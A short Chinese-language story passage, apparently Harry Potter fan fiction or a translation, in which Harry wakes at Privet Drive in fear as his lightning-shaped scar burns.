远在英国,萨里郡小惠金区女贞路4号,熟睡中的哈利·波特猛地抽搐了一下,额头上闪电形的伤疤传来一阵灼烧般的剧痛。他大汗淋漓地惊坐起来,心脏狂跳不止,翠绿的眼睛里充满了惊惧和茫然。